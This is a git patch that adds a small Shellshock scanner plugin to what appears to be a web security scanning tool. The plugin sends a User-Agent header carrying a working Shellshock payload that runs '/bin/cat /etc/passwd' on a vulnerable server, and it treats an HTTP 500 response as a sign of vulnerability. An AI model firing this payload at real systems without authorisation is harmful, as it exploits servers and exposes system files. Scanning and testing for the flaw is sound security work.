From 301e0cdbb7de91ae0fcd3734baade78fb2849f0d Mon Sep 17 00:00:00 2001 From: Miguel Sanchez Date: Mon, 15 Aug 2022 18:21:35 -0400 Subject: [PATCH] moved the shellshock scanner to plugins --- plugins/shellshock.py | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 plugins/shellshock.py diff --git a/plugins/shellshock.py b/plugins/shellshock.py new file mode 100644 index 0000000..a68c1bd --- /dev/null +++ b/plugins/shellshock.py @@ -0,0 +1,13 @@ +from colorama import Fore +import requests + +user_agent = "() { :; }; /bin/cat /etc/passwd" +header = {"User-Agent": user_agent} + + +def shellshock_scan(domain: str) -> str: + res = requests.get(domain, verify=False, headers=header) + if res.status_code == 500: + print(f"{Fore.MAGENTA}[+] {Fore.CYAN}-{Fore.WHITE} Shellshock: {Fore.GREEN}Might be vulnerable!") + else: + pass \ No newline at end of file